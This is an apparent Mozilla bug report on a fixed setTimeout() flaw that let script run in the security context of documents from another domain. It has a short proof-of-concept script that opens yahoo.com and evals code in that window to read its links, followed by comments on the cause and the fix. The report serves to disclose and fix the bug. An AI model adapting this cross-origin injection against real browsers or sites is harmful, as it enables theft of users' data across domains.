16166 - setTimeout() security problem

Status: VERIFIED FIXED

(Core :: Security, defect, P3)

Description

[joro]

The setTimeout() method allows executing JavaScript code in the security context
of documents from any domain.
The code is:
----------------------------------------------------------------------
<SCRIPT>
a=window.open("http://www.yahoo.com");
window.x="s='Here are some links:   ';for(i=0;i< ( (document.links.length < 10)
? document.links.length : 10) ;i++) s += document.links[i].href
+String.fromCharCode(10);alert(s);";

setTimeout("a.setTimeout('eval(opener.x)',1000);",10000);

</SCRIPT>
//opener.x may be circumvented
----------------------------------------------------------------------

Comment 1

[Norris Boyd]

The principal for the timeout was being fetched from the window, not from the
currently executing code.

Comment 2

[Norris Boyd]

Checking in dom/src/base/nsGlobalWindow.cpp;
/m/pub/mozilla/dom/src/base/nsGlobalWindow.cpp,v  <--  nsGlobalWindow.cpp
new revision: 1.157; previous revision: 1.156
done

Comment 3

[John Unruh]

Verified fixed.

Comment 4

[leger]

Bulk moving all Browser Security bugs to new Security: General component.  The 
previous Security component for Browser will be deleted.